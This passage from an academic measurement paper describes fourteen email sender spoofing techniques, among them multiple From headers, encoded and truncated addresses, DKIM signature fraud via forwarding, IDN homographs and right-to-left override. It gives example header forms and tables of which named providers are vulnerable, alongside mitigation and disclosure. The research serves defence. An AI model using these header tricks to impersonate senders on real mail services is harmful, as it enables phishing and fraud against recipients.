fuzzing [35], such as header re- peating, inserting spaces, inserting Unicode characters, header encoding, and case variation. Fourth, we use the generated samples to test the security verification logic of the target email system in four stages. Finally, we analyze and sum- marize the adversarial techniques that make email sender spoofing successful in practice. 3.4 Experiment Setup In this work, we aim to summarize the potential email spoof- ing methods against the tested email services. Thus, we try to find out all verification issues from the four stages of the email transmission process mentioned in Section 2. Below, we first introduce the successful attacks from each stage separately. Then, we discuss our efforts to minimize the measurement bias and avoid ethical problems. The Successful Attacks. We consider an email spoofing at- tack successful if either of the following four conditions is satisfied. (1) In the email sending authentication stage, an at- tacker can modify the identifiers (e.g., Auth username/ MAIL From/ From) arbitrarily. (2) In the email receiving verification stage, the receiver’s MTA gives a "none/pass" verification result even if the spoofed domain name has already deployed strict SPF/DKIM/DMARC policies. Since the verification results are not always shown in the email headers, we can infer the result by checking whether the email has entered the inbox as an alternative. Besides, we consider an attack failed if our spoofing email is dropped into the spam box, which means the receiver’s MTA has detected the spoofing and taken defensive measures. To avoid accidental cases, we repeat each attack three times, ensuring that the spoofing email has actu- ally penetrated the security protocols. Only the attacks that work all three times are regarded as successful attacks. (3) In the email forwarding stage, the forwarder gives a higher security endorsement to the forwarded email. Additionally, an attack is also considered successful if the attacker can freely configure forwarded emails to any accounts without any au- thentication verification. (4) In the email UI rendering stage, the displayed email address is inconsistent with the real one. In this stage, we use APPEND function of the IMAP [11] pro- tocol to deliver the spoofing emails into the inbox, since we only need to check the UI rendering results rather than bypass the spam engine. Finally, we collect information and analyze the results depend on the webmail and email clients on the UI level. Minimize the Measurement Bias. First, to exclude the in- fluence of the spam detection, we select the legitimate, be- nign and desensitized email samples provided by our indus- trial partner, a famous email provider, as the contents of our spoofing emails. These emails’ content is legal and harm- less and can not be judged as spam. Second, all spoofing emails are sent from 15 IP addresses located in different re- gions with an interval of 10 minutes. Furthermore, we deploy MX/TXT/PTR records for the attacker’s domain names and IP addresses. Third, to test how the receiver’s MTA handles email with "fail" SPF/DMARC verification results, we repro- duce the spoofing experiments in Hu’s paper [20] on our target 30 email services. We find that 23 of them reject the emails with "fail" SPF/DMARC verification results. The remaining ones mark them as spams. Besides, the results show that most of the vulnerabilities pointed in Hu’s paper [20] have been fixed in the past two years. Ethics. We have taken active steps to ensure research ethics. Our measurement work only uses dedicated email accounts owned by ourselves. No real users are affected by our experi- ments. We have also carefully controlled the message sending rate with intervals over 10 minutes to minimize the impact on the target email services. 3.5 Experiment Results This work organizes all testing results in Table 1 and Ta- ble 2 to provide a general picture of the experiment results for sender spoofing attacks. The details of each attack and spoofing results are discussed in Section 4. We summarize our experiment findings as follows. First, we measured the deployment and verification of email security protocols by these email services. All email services deploy the SPF protocol on the sender’s side, while only 23 services deploy all of the three protocols. Surprisingly, all email services run the SPF, DKIM and DMARC detection on the receiver’s side. However, only 12 services perform the sender inconsistency checks. Second, all target email services and email clients are vulnerable to certain types of attacks. Finally, combined attacks allow attackers to forge spoofing email which looks more authentic. 4 Email Sender Spoofing Attacks This section describes the various techniques employed in email spoofing attacks. We divide the attacks into four cate- gories, corresponding to the four authentication stages in the email delivery process. 4.1 Attacks in Email Sending Authentication Email sending verification is a necessary step to ensure email authenticity. Attacks in email sending authentication can abuse the IP reputation of a well-known email service. They can even bypass all the verification of SPF/DKIM/DMARC protocols, which poses a significant threat to the email secu- rity ecosystem. These attacks are mainly used in the shared attack model (Model a⃝). As mentioned in Section 2.1, there are three sender identi- fiers in email sending process: (1) Auth username; (2) Mail From; (3) From. An attack is considered successful while it can arbitrarily control these identifiers during email sending authentication process. The Inconsistency between Auth username and Mail From headers (A1). As shown in Figure 5(a), an attacker can pretend to be any user under the current domain name to send Table 1: Sender spoofing experiment results on 30 target email services. Email Services Protocols Deployment UI Protections Weaknesses in Four Stages of Email Flows SPF DKIM DMARC SIC Sending Receiving Forwarding UI Rendering Gmail.com ✓ ✓ ✓ ✓ A6 A12 Zoho.com ✓ ✓ ✓ ✓ A2 A4 A11 A13 iCloud.com ✓ ✓ ✓ A2 A4, A7 A9 A12 Outlook.com ✓ ✓ ✓ A2 A7 A9 A14 Mail.ru ✓ ✓ ✓ A4 A12 Yahoo.com ✓ ✓ ✓ A2 A3, A7 A10 A14 QQ.com ✓ ✓ ✓ ✓ A2 A5 A13, A14 139.com ✓ ✓ ✓ A4 A13 Sohu.com ✓ A2 A4, A5 A9 A13 Sina.com ✓ A2 A3, A4, A5, A8 A13, A14 Tom.com ✓ ✓ ✓ A2 A9 Yeah.com ✓ ✓ ✓ ✓ A2 A3, A4, A5, A7, A8 A9 A12, A13, A14 126.com ✓ ✓ ✓ ✓ A2 A3, A4, A5, A8 A9 A12, A13, A14 163.com ✓ ✓ ✓ ✓ A2 A3, A4, A5, A7, A8 A9 A12, A13, A14 Aol.com ✓ ✓ ✓ A2 A5, A7 A14 Yandex.com ✓ ✓ ✓ A3, A4,A6, A7, A8 A9 A14 Rambler.ru ✓ ✓ ✓ A2 A3 Naver.com ✓ ✓ ✓ A2 A4, A5, A8 21cn.com ✓ A2 A4, A5 A9 Onet.pl ✓ A2 A4, A5 Cock.li ✓ ✓ A2 A3, A4 A13, A12 Daum.net ✓ ✓ A5 Hushmail.com ✓ ✓ ✓ A3, A4, A8 A12 Exmail.qq.com ✓ ✓ ✓ ✓ A2 A5 A14 Coremail.com ✓ ✓ ✓ ✓ A2 A8 A9 Office 365 ✓ ✓ ✓ ✓ A2 A4 A9, A10,A11 A14 Alibaba Cloud ✓ ✓ ✓ ✓ A2 A3, A4, A5, A8 A10 A13 Zimbra ✓ ✓ ✓ ✓ A1, A2 A3, A5, A8 A9 A12, A13 EwoMail ✓ ✓ ✓ A2 A3, A4, A8 A13 Roundcube ✓ ✓ ✓ A1, A2 A3, A4, A8 A12 1 The subscript identifies the specific attack (e.g., A8 identifies the encoding based attack discussed in 4.2). 2 The abbreviation SIC stands for the receiver’s sender inconsistency checks, an email notification custom deployed by providers, described in the background 2.2.2. 3 The cases with ✓ mean that the domain name deploys with the relevant email security protocol or perform the sender inconsistency checks. a spoofing email whose Auth username([email protected]) and Mail From ([email protected]) are inconsistent during email sending authentication. SMTP protocol does not provide any built-in security features to guarantee the consistency of auth usernameand Mail Fromheader. Therefore, this type of pro- tection depends only on the software implementation of the email developer. In our spoofing experiments, most email services have no- ticed such problems and prohibited users from sending emails inconsistent with their original identity. However, this type of problem still appears in some well-known corporate email software (i.e., Zimbra, EwoMail). These two email services are vulnerable under default security configuration. Email administrators need to upgrade their security configurations to prevent such problems manually. The Inconsistency between Mail From and From head- ers (A2). An attacker can send a spoofing email with different Mail From and From headers. Figure 5(b) shows this type of attack. Although some users are allowed to use email aliases to send emails with a different Fromheader, no user should be allowed to freely modify the From header to any value (e.g., [email protected]) to prevent attacks. The From header should only be allowed to be set within limited legal values. Many prevalent email services (e.g., Outlook, Sina, QQ Mail) and most third-party email clients (e.g., Foxmail, Apple Mail) only display the Fromheader, not the Mail Fromheader. For these emails which have different Mail From and From headers, the victim cannot even see any security alerts on the MUA. Similar inconsistency also exists between the RCPT Toand To headers. In the real world, there are some scenes that Table 2: Sender spoofing experiment results on 23 target email clients. OS Clients SIC Weaknesses Windows Foxmail ✓ A6, A7, A13, A14 Outlook ✓ A6, A13 eM Client ✓ A6, A12 Thunderbird A6, A13, A14 Windows Mail A6, A7, A13, A14 MacOS Foxmail A6, A13 Outlook ✓ A6, A13 eM Client ✓ A6, A7, A12, A13, A14 Thunderbird A6, A13, A14 Apple Mail A6, A13, A14 Linux Thunderbird A6, A13 Mailspring A6, A13, A14 Claws Mail A6, A14 Evolution A6, A13, A14 Sylpheed A6, A13, A14 Android Gmail A6, A13 QQ Mail ✓ A6, A13, A14 NetEase Mail A6, A12, A13 Outlook ✓ A6, A13 iOS Mail.app A6, A7, A13, A14 QQ Mail ✓ A6, A13 NetEase Mail A6, A12, A13 Outlook ✓ A6, A13 1 The subscript identifies the specific attack. 2 The SIC stands for the sender inconsistency checks. 3 The cases with ✓ mean that the email client performs the sender inconsistency checks. 4 Since email clients do not involve verification of the mail protocol, we only tested attacks (i.e., A6, A7, A12, A13, A14) related to email UI rendering. cause the inconsistency, such as email forwarding and Bcc. However, this kind of flexibility increases attack surfaces and introduces new security risks. For example, an attacker can send an email to a victim, even if the email’s To header is not the address of the victim. In this case, an attacker can further use this method to obtain a spoofing email with a DKIM signature that normally could not be obtained, which is helpful for further attacks. This technique might not be effective when used alone, but it can often achieve excellent spoofing results when combined with other attack techniques. 14 email services are vulnerable to this type of attack in our experiments. In addition, we also found that some email ser- vices (e.g., Outlook, Zoho, AOL, Yahoo) have realized these risks and have implemented corresponding security restric- tions. They refused to send emails with inconsistent Mail From and From headers during SMTP sending process. How- ever, these defenses can still be bypassed by two types of attacks (i.e., A4, A5). For example, we can send a spoofing (a) Attack with different auth username and Mail From header (b) Attack with different Mail From and From headers Figure 5: Two attacks of bypassing sending service’s verifica- tion. email with the Mail Fromheader as <[email protected]>and the From header as <[email protected], [email protected]> in Yahoo which introduces another source of ambiguity and eventu- ally bypasses email protocol verification. Therefore, it is still possible to send such spoofing emails, even if the sender has deployed relevant security measures. 4.2 Attacks in Email Receiving Verification SPF, DKIM and DMARC are the prevalent mechanisms used to counter email spoofing attacks. If an attacker can bypass these protocols, it can also pose a serious security threat to email security ecosystem. There are three attack models to launch this type of attack: shared MTA attack, direct MTA attack, and forward MTA attack. An attack is successful while the receiver’s MTA incorrectly gets a ’none/pass’ verification result. Empty Mail From Attack (A3). RFC 5321 [25] explicitly describes that an empty Mail From is allowed, which is mainly used to prevent bounce loop-back and allow some special message. However, this feature can also be abused to launch email spoofing attacks. As shown in Figure 6, an attacker can send an email with an empty Mail From header, and the From header fabricates Alice’s identity (Al- [email protected]). The SPF protocol [23] stipulates that the receiver’s MTA must complete the SPF verification based on the Helo field if the Mail From header is empty. However, the abuse of the Helo field in real life make some email services disobey the standard and take a more loose approach of verification. Thus, when the recipient deals with those emails, they can not complete SPF verification based on the Helo field, but directly return "none". This type of error allows an attacker to bypass the SPF protection. As a result, an attacker can change the SPF result of this attack from "fail" to "none". 13 email services (e.g., Yahoo, Yeah, 126, Aol) are vul- nerable to this type of attacks. Fortunately, there are already 17 email services that have fixed such security issues, 5 of Figure 6: Empty Mail From attack bypassing the SPF verifi- cation. (a) Ordinary multiple From attack. (b) Multiple From attack with spaces. (c) Multiple From attack with case variation. (d) Multiple From attack with invisible characters. Figure 7: Multiple From attacks to make DMARC verify [email protected] while the MUA displays [email protected]. which (e.g., Zoho.com, iCloud.com, exmail.qq.com) drops such emails into spam. Multiple From Headers (A4). Inspired by the work of Chen et al. [6], we also utilize multiple headers techniques in email spoofing attacks. Compared with Chen’s work, we have more distortions from the From header, such as adding spaces before and after the From, case conversion, and inserting non- printable characters. As shown in Figure 7, an attacker can construct multiple From headers to bypass security policies. RFC 5322 [40] indicates that emails with multiple Fromfields are typically rejected. However, there are still some email services that fail to follow the protocol and accept emails with multiple From headers. It can introduce inconsistencies in the email receiving verification stage, which could lead to additional security risks. Figure 7(c) shows an example that the displayed sender address is [email protected], while the receiver’s MTA may use [email protected] for the DMARC verification . Only 4 mail services (i.e., Gmail, Yahoo, Tom, Aol) reject emails with multiple Fromheaders, and 19 mail services are af- fected by this type of attacks. Most tested email services tend to display the first From header on the webmail, while 6 ser- vices (e.g., iCloud, Yandex, Alibaba Cloud) choose to display the last From header. Besides, 7 vendors have made specific security regulations against such attacks, such as showing two From addresses on the webmail simultaneously (e.g., QQ Mail, Coremail) or dropping such emails into the spam folder (e.g., Outlook, rambler.ru). Multiple Email Addresses (A5). Using multiple email ad- (a) Ordinary multiple address attack. (b) Multiple address attack with null address. (c) Multiple address attack with seman- tic characters. (d) Multiple address attack with com- ments. Figure 8: Multiple email addresses attacks to make DMARC verify [email protected] while MUA displays [email protected]. dresses is also an effective technique to bypass protocol ver- ification. Usage of multiple addresses was first proposed in RFC2822 [39] and is still explicitly allowed in RFC 5322 [40]. It is suitable for such scenarios: an email with multiple authors is supposed to list all of them in the From header. Then, the Sender field is added to mark the ac- tual sender. As shown in Figure 8(a), an attacker can by- pass DMARC verification with multiple email addresses (<[email protected]>, <[email protected]>). In addition, we can also make some rule-based mutations to these addresses, such as [[email protected]], <[email protected]>. 15 mail services (e.g., QQ mail, 21cn.com and onet.pl) would still accept such emails. Only 4 services (e.g., Gmail and Mail.ru) directly reject those emails, and 5 other services (e.g., zoho.com, tom.com, outlook.com) put them into spam. The rest 6 services (e.g., 139.com, cock.li and Roundcube) display all of these addresses, making spoofing emails more difficult to deceive the victim. Parsing Inconsistencies Attacks (A6). Mail From and From headers are in rich text with a very complicated gram- matical format. As a result, it is challenging to parse display names and real addresses correctly. These inconsistencies can allow attackers to bypass authentication and spoof their target email clients. A mailbox address is one of the essential components of these two headers. First, mailbox addresses were allowed to have a route portion [39] in front of the real sender ad- dress when enclosed in "<" and ">". Therefore, the mailbox (<@a.com, @b.com:[email protected]>) is still a legal address. Among them, @a.com, @b.com is the route portion, and "ad- [email protected]" is the real sender’s address. Second, it is allowed to use mailbox-list and address-list [39], and they can have "null" members, such as <[email protected]>, ,<[email protected]>. Third, comment [40] is a string enclosed in parentheses. They were allowed between the period-separated elements of local-part and domain, such as <admin(username)@a.com(domain name)>. Finally, there is an optional display-name [40] in the From header. It indicates the sender’s name, which is dis- played for receivers. Figure 9 shows three types of attacks (a) Parsing inconsistency with route portion. (b) Parsing inconsistency with "null" mailbox-list. (c) Parsing inconsistency with comment. (d) NUL character truncates string parsing. (e) Invisible unicode characters truncate string pars- ing. (f) Semantic characters truncate string parsing. Figure 9: Six spoofing examples of bypassing receiving service’s verification. (a) Encoding based attack bypassing DMARC verification. (b) Combined encoding and truncated attack. Figure 10: Two spoofing examples with encoding based at- tacks. based on parsing inconsistencies. Truncated characters are a series of characters that ter- minate string parsing. When parsing and extracting the tar- get domain name from the email headers, truncated char- acters will end the parsing process. Figure 9(d) shows that the program gets an incomplete domain name (a.com) when parsing the target domain name from the string "[email protected]\[email protected]". Attackers can use these techniques to bypass the verification of email security proto- cols. Overall, this work finds three types of truncated char- acters in the email string parsing process. First, NUL (\x00) character can terminate string in the C programming language. It has the same effect in the email field. Second, some invis- ible Unicode characters (e.g., \uff00-\uffff,\x81-\xff) can also terminate the string parsing process. Third, certain semantic characters, such as "[,],{,},\t,\r,\n,;", can be used to indicate a tokenization point in lexical analysis. Meanwhile, these characters also influence the string parsing process. We found that 13 email services have problems in the UI rendering stage under such attacks. For Gmail and Yandex, we can use these attack techniques to bypass DMARC. Encoding Based Attack (A7). RFC 2045(MIME) [15] de- scribes a mechanism denoting textual body parts, which are coded in various character sets. The ABNF grammar of these parts is as follows:=?charset?encoding?encoded-text?=. The "charset" field specifies the character set associated with the not encoded text; "encoding" field specifies the encod- ing algorithm, where "b" represents base64 encoding, and "q" represents quoted-printable encoding; "encode-text" field specifies the encoded text. Attackers can use these encoded addresses to evade email security protocol verification. Fig- ure 10(a) shows the details such attacks. For an encoded address, such as From: =?utf-8?b?QWxpY2VAYS5jb20=?=, most email services do not decode the address before verify- ing the DMARC protocol, thus fail to extract the accurate do- main and get a "None" in the following DMARC verification. However, some email services display the decoded sender address ([email protected]) on the MUA. Furthermore, this tech- nique can be combined with truncated strings. As shown in the Figure 10(b), an attacker can construct the From header as "b64([email protected]>b64(\uffff)@attack.com". Email client programs could get incomplete username(i.e., [email protected]), but it would still use the attacker’s domain (attack.com) for DMARC verification. 7 email services are affected by the vulnerability, including some popular services (e.g., Outlook, Office 365, Yahoo) with more than one billion users. The Subdomain Attack (A8). An attacker can send spoofing emails from a non-existent subdomain (no MX record) of well-known email services (e.g., [email protected]). Thus, there are no corresponding SPF records. The spoofing email only gets a "None" verification result, and the receiver’s MTA does not directly reject it. Although the parent domain (e.g., google.com) deploys strict email policies, attackers can still attack in this way. Unfortunately, many companies use sub-domains to send business subscription emails, such as Paypal, Gmail, and Apple. As a result, ordinary users tend to trust such emails. Unfortunately, RFC 7208 [24] states that the use of wild- card records for publishing SPF records is discouraged. And few email administrators configure wildcard SPF records in the real world. Besides, the receiver’s MTA can usually re- ject emails from domains without an MX record. But RFC Figure 11: Exploiting forwarding services to bypass SPF and DMARC. 2821 [26] mentions that, when a domain has no MX records, SMTP assumes an A record will suffice, which means any domain name with an A record can be considered a valid email domain. In addition, many well-known websites deploy a wildcard DNS A record that makes this type of attack more applicable. As a result, it is difficult for the receiver’s MTA to determine whether to reject such emails. Experimental results show that 13 email services are vulner- able to such attacks. Only one email service (Mail.ru) deploys a wildcard DNS entry for the SPF record in our experiments. By default, the DMARC policy set for an organizational do- main should apply to any sub-domains, unless a DMARC record has been published for a specific sub-domain. How- ever, the experimental results show that our attack is still effective, even if the receiver’s MTA conducted a DMARC check. 4.3 Attacks in Email Forwarding Verification This work shows that attackers can abuse the email forwarding service to send spoofing emails that would fail in the shared MTA attack model. Besides, forwarding service may give the forwarded email a higher security endorsement. Both situa- tions are exploitable for attackers to send spoofing emails. Unauthorized Forwarding Attack (A9). If the attacker can freely configure forwarded emails to any accounts without any authentication verification, the email service has unauthorized forwarding issues. First, the attacker should have a legitimate email account on the email forwarding service. Because these emails are sent from a well-known email forwarding MTA, the receiver’s MTA generally accepts such emails. We can also exploit forwarding services to bypass SPF and DMARC protocols when the target domain name is the same as the forwarding domain name. This attack is depicted in Figure 11. Based on this attack, attackers can abuse the credibility of well-known MTAs to craft an realistic spoofing email. Among our experimental targets, 12 email services have such vulnerabilities. 7 email services do not provide the email forwarding feature. The other email services have realized the risks and performed corresponding forwarding verification to fix it. The DKIM Signature Fraud Attack (A10). The forwarding service may give the forwarded email a higher security en- dorsement. But this feature can be abused by the attacker to send spoofing emails. The forwarder should not add a DKIM signature of its domain name if the forwarded email does not have a DKIM signature or fails the DKIM validation before. Otherwise, the attacker can defraud the forwarding services of legitimate DKIM signature. However, both RFC 6376 [34] and RFC 6377 [30] suggest that forwarders should add their signatures to the forwarded emails. It has further led to more email services have such problems. Figure 12 illustrates the complete process of the attack. The email forwarding service (a.com) signs and adds DKIM signatures to all forwarded emails without strict verification. First, the attacker can register an account ([email protected]) un- der the email forwarding service. Second, he can configure all receiving emails forward to another attacker’s email address ([email protected]). The attacker can then send a spoofing email with From: [email protected], To: [email protected] to [email protected] through the direct MTA attack model. The forwarding service (a.com) adds a legal DKIM signature to this spoofing email. As a result, the attacker gets a spoofing email with a legal DKIM signature signed by a.com. In our experiments, Al- ibaba Cloud, Office 365, and Yahoo Email are all vulnerable to such attacks. ARC Problems (A11). ARC [4] is a newly proposed protocol that provides a chain of trust to link the verification results of SPF, DKIM, and DMARC in the email forwarding process. Only three email services (i.e., Gmail, Office 365, and Zoho) deploy the ARC protocol in our experiments. However, our research found that both Office 365 and Zoho have security issues with the ARC protocol implementation. Besides, except for the A10 attack, ARC cannot defend against most of the attacks discussed above. For Zoho email services, it shows alerts for users if the email fails the sender inconsistency checks. However, there is an error in Zoho’s ARC implementation. When a spoof- ing email is automatically forwarded to the Zoho mailbox via Gmail, the ARC-Authentication-Results (AAR) header added by Zoho shows a wrong "pass" DMARC verification result. Even worse, this incorrect ARC implementation can also bypass the sender inconsistency checks. Zoho does not display alerts to users for this spoofing email. Office 365 also has errors in the implementation of ARC. It passes the wrong verification results of SPF, DKIM, and DMARC in the AAR header. This would break the ARC trust chain, which introduces more security risks. 4.4 Attacks in Email UI Rendering The last and most crucial part of the email system is to ensure that emails are rendered correctly. Once the attacker can break the defensive measures in this stage, ordinary users are easily (a) The spoofing email defraud a DKIM signature signed by a.com. (b) Spoofing with the legal DKIM signature. Figure 12: Exploiting forwarding services to bypass DKIM and DMARC. deceived by such spoofing emails unconsciously. The displayed address is the sender address shown on the MUA, but the real address is the sender identity (From) used in SMTP communication. If an attacker can make the dis- played address inconsistent with the real address, the attack is considered successful. Besides, as shown in Figure 2, some MUAs add a security indicator to those emails which fail the sender inconsistency checks. If an attacker can bypass the sender inconsistency checks, it is also regarded as an effective attack technique. There are various attacks in the email UI rendering stage. Some are similar to the A6, A7 attacks discussed previously. The difference is that a UI level attack’s goal is to bypass the sender inconsistency checks and spoof the email address shown for users, rather than bypass the three email security protocols’ verification. Thus, we usually construct ambiguous From headers rather than Mail From headers. In this section, we only discuss the attack techniques not previously men- tioned. IDN Homograph Attack (A12). The homograph attack [16] is a known web security issue, but its security risks to the email system have not been systematically discussed. As popular email providers gradually support the emails from internationalized domain names (IDN), this attack is likely to have a wider security impact. Figure 13: A example of IDN homograph attack to imperson- ate [email protected] on iCloud.com web interface. Punycode is a way of converting words that cannot be displayed in ASCII into Unicode encoding. Notably, Unicode characters can have a similar appearance on the screen while the original addresses are different. Figure 13 shows a spoofing email that seems to come from the ad- dress ([email protected]), but is actually from the address (admin@xn–aypal-uye.com). Modern browsers have implemented some defensive mea- sures against the IDN homograph attack. For example, the IDN should not be rendered if the domain label contains char- acters from multiple languages. Unfortunately, we found few similar defensive measures in email systems. The experimental results show that 10 email services (e.g., Gmail, iCloud, Mail.ru) support IDN email is displayed. Cur- rently, only Coremail fixes this vulnerability. With our as- sistance, Coremail adds white spaces before and after the Unicode characters in the address bar. In this way, users can easily distinguish between ASCII characters and Unicode characters to prevent such attacks. Missing UI Rendering Attack (A13). We also find that many characters can affect the rendering of the MUA. Some charac- ters may be discarded during the rendering process. Addition- ally, some characters may also cause the email address to be truncated (similar to the attack A6). These characters include invisible characters (U+0000-U+001F,U+FF00-U+FFFF) and semantic characters (@,:,;,"). For example, the MUA ren- ders the address admin@[email protected] as [email protected]. There are still 12 email services (e.g., zoho.com, 163.com, sohu.com) vulnerable to such attacks. Other services refuse to receive or just throw such emails into the spam box. Right-to-left Override Attack (A14). Several characters are designed to control the display order of the string. One of these is the "RIGHT-TO-LEFT OVERRIDE" character, U+202E which tells computers to display the text in a right- to-left order. It is mainly used for writing and reading Ara- bic or Hebrew text. Although this attack technique [1] has been discussed elsewhere, its security risk to email spoofing has not yet been fully explored. An attacker can construct a string as \u202emoc.a@\u202dalice, which is displayed Figure 14: Combining A2 and A4 attacks to impersonate [email protected] on iCloud. as [email protected]. Because spoofing emails with RTL charac- ters may be directly thrown into the spam box, we generally encode the payload (with utf-8 mode) to attack. 11 email services (e.g., Outlook, Yahoo, Yandex) are still vulnerable to this attack. 10 services (e.g., cock.li,daum.net, onet.pl) cannot correctly render this type of email address. Other email services directly reject such mails. 5 Combined Attacks According to four authentication stages in email delivery pro- cess, we divide our attacks into four categories. However, these attacks have certain limitations. First, some attacks (e.g., A2, A3) can have a spoofing effect on the recipent. How- ever, they can not bypass all email spoofing protections. For example, a spoofing email via Empty Mail From Attack (A3) bypasses the SPF verification but fails in the DMARC ver- ification. In addition, most email vendors have fixed the individually conducted attacks which can bypass all the three email security protocols in our experiment. Thus, combin- ing multiple attacks of different stages is more feasible in practice. With a "cocktail" joint attack combining different attack techniques, we can easily construct a spoofing email that can completely pass the verification of three email se- curity protocols and user-interface protections. Finally, there is no difference shown on the receiver’s MUA between this spoofing email and a legitimate one. There are numerous feasible combined attacks by combin- ing 3 types of attack models and 14 attack techniques in the 4 authentication stages. This work selects two of the most representative examples to illustrate the effects of combined spoofing attacks. Table 3 lists key information of the two examples. Combined Attacks under the Same Attack Model. We identified a total of 14 email spoofing attack techniques, of which 14 attack techniques can be combined under the same attack model to achieve better attack effects. In addition, al- though some vendors might fix a vulnerability through one security check, the attacker can accurately combine other attack techniques to bypass the corresponding security check. Figure 14 shows a representative example under the shared MTA attack model. Yahoo email performs a simple sender check policy to defend against the A2 attack. It prohibits user from sending emails with different Mail From and From headers. However, the attacker can still bypass this sender check policy through the A4 attack. To be specific, we can send a spoofing email with a first From header ([email protected]), which is same as the Mail Fromheader. Then, we add a second From header ( [email protected]). Interestingly, iCloud does not reject such a spoofing email with multiple From headers. Even worse, iCloud uses the first From header to perform the DMARC verification and gets a "pass" result with yahoo.com, while the second From ([email protected]) header is displayed on the webmail’s UI for users. Therefore, this combined attack can eventually bypass all three email security protocols and spoof the MUA. Combined Attacks under Different Attack Models. The attacker can also conduct a more effective attack by combin- ing different attack models. The email system is a complex ecosystem with a multi-party trust chain, which relies on security measures implemented and deployed by multiple par- ties. Under different attack models, multiple parties may have various vulnerabilities. For example, it is difficult to attack through the shared MTA attack model if a email service’s sending MTA performs strict checks in sending authentica- tion. However, once it fails to provide a correct and complete security defensive solution in other stages, the attacker can still bypass and send spoofing emails through the other two attack models. Hence, we have more combination attacks in the real world by combining multiple attack models. Figure 4 shows a successful spoofing attack by combining the direct and forward MTA attack models. For instance, Os- car employs the attack techniques (A2,A3) to send a spoofing email with empty Mail From and crafted From headers. Be- sides, Oscar has a legitimate account ([email protected]), which is different from the victim’s account. Thus, Oscar can configure this account to automatically forward the re- ceived emails to one of his accounts ([email protected]). Alibaba Cloud service adds a DKIM signature to all for- warded emails without a necessary verification check (A10). It grants Oscar’s spoofing email a legitimate DKIM signa- ture. Then, Oscar can send this spoofing email with Mail From:<[email protected]> header through the direct MTA attack model, which is illustrated in Figure 15(b). For this spoofing email, the SPF protocol verifies the attack.com domain, while the DKIM and DMARC proto- cols verify the aliyun.com domain. Therefore, this email can pass all the three email security protocols, and enter the inbox of Gmail. In addition, no email service shows alerts for users about the email with different verified domains of the three protocols. It further makes this type of attack more deceptive to ordinary users. Table 3: Details of two combined attack examples. Attack From To Attack Model Combination of attacks Case 1 [email protected] [email protected] Shared MTA Attack A2 + A4 Case 2 [email protected] [email protected] Direct & Forward MTA Attack A2+A3+A10 (a) The first stage of the attack obtained an Alibaba Cloud legal DKIM signa- ture. (b) The second stage of the attack passed Gmail’s three mail protocol security verifications. Figure 15: A combination attack with A2,A3 and A10 from [email protected] to [email protected]. 6 Root Causes and Mitigation 6.1 Root Causes As aforementioned, the security of email systems relies on several protection policies that are separately enforced by multiple parties. Thus, the inconsistencies in these multiple parties could create more vulnerabilities and lead to severe spoofing attacks. We identify the root causes of the attacks as follows. Weak Links among Multi-protocols. The protocol verifica- tion process is one of the weak links in the authentication chain, due to the ambiguity of email specifications, the lack of best practice and the complexity of the MIME standard. In the SMTP communication process, multiple fields of protocols contain sender’s identity information (i.e., Auth username, MAIL From, From, Sender). The inconsistency of these fields provides the basis for email spoofing attacks. SPF, DKIM, and DMARC are proposed and standardized to prevent email spoofing attacks from different aspects. How- ever, an email system can prevent email spoofing attacks only when all protocols are well enforced. In this chain-based au- thentication structure, a failure of any link can render the authentication chain invalid. Weak Links among Multi-roles. In the email system, au- thenticating the sender’s identity is a complicated process. It involves four important roles: senders, receivers, forwarders, and UI renderers. Standard security models work on the as- sumption that each role properly develops and implements related security verification mechanisms to provide the over- all security. However, many email services do not implement the correct security strategy in all four roles. Many email services (e.g., iCloud, Outlook, Yeah.com) do not notice the security risks caused by unauthorized forward- ing attacks (A9) in the email forwarding stage. In addition, the specifications do not state any clear responsibilities of four roles (i.e., senders, receivers, forwarders, and UI renderers) in email security verification. Weak Links among Multi-services. Different email services usually have different configurations and implementations. Some services (e.g., Gmail, Yandex.com) forbid sending emails with ambiguous headers but receive them with tol- erance. Conversely, some (e.g., Zoho, Yahoo) tend to allow the sending of emails with an ambiguous header, but conduct very strict checks in the email receiving verification stage. The differences among security policies allow attackers to send spoofing emails from a service with a tolerant sending policy to a service with a loose receiving strategy. Besides, some email providers deviate from RFC specifi- cations while dealing with emails with ambiguous headers. When MUA handles with multiple From headers, some ser- vices (e.g., Outlook,Mail.ru) display the first header, while others (e.g., iCloud, yandex.com) display the last header. Moreover, different vendors support Unicode characters to various degrees. Some vendors (e.g., 21cn.com, Coremail) have been aware of the new security challenges caused by Unicode characters, but some (e.g., 163.com, yeah.net) have no knowledge. Particularly, some (e.g., zoho.com, EwoMail) even have not yet supported Unicode characters’ rendering. Finally, only a few email providers show visual UI noti- fication to alert users of spoofing emails and only 12 ven- dors implement sender inconsistency checks. In particular, the sender inconsistency checks in practice are significantly diverse because of the absence of a unified implementation standard. The lack of an effective and reasonable email se- curity notification mechanism is also one reason why email spoofing has been repeatedly prohibited, but never eliminated. 6.2 Mitigation This subsection discusses the key mitigating measures. Since email spoofing is a complex problem involving multiple par- ties, multi-party collaboration is required to counter the rele- vant issues. More Accurate Standard. Note that email providers may fail to offer a secure and reliable email service with ambiguous definitions in email protocols. Thus, providing more accurate email protocol descriptions is necessary to eliminate inconsis- tencies in the practice of multi-party protocols. For example, the DKIM standard should specify when a DKIM signature should be added to forwarded emails. It is reasonable for for- warders to add DKIM signatures to improve the credibility of emails; however, they should not add DKIM signatures to emails that have never passed DKIM verification. UI Notification. Email UI rendering is a significant part that affects the users’ perception of an email’s authenticity. Un- fortunately, most of webmails and email clients in our experi- ments only show the From header without any more authenti- cation details. Therefore, it is difficult for ordinary users to judge the authenticity of emails. Additionally, some visual attacks (e.g., A12, A13) can not be defended at the protocol level. An effective defense method is to provide a user-friendly UI notification and alerts users that their received emails may be spoofing emails. Hu et al. [20] also demonstrate that a good visual security notification has a positive effect on mitigating phishing email threats in the real world. As shown in Figure 4, the spoofing email in Section 5 can be verified by all the three email protocols. Nevertheless, users can not distinguish this spoofing email from normal emails without a UI notification. As shown in Figure 16, users intuitively can recognize whether the received email contains malicious behaviors, based on the UI notification. Coremail, a well-known email service provider in China, has adopted our suggestions and im- plemented the UI notification on its webmail and email client. In addition, we have released the UI notification scheme in the form of a chrome extension for Gmail called "NoSpoofing"1. Evaluation Tools. We have released our testing tool publicly on GitHub 2 for email administrators to evaluate and increase their security. After configuring the target email system in- formation, the tool can interact with the target system and evaluate whether the target system is vulnerable to the at- tacks. 7 Disclosure and Response Vulnerabilities found in this work have already been reported to all 30 relevant email vendors in detail. We have been con- 1NoSpoofing : https://chrome.google.com/webstore/detail/no spoofing/ehidaopjcnapdglbbbjgeoagpophfjnp 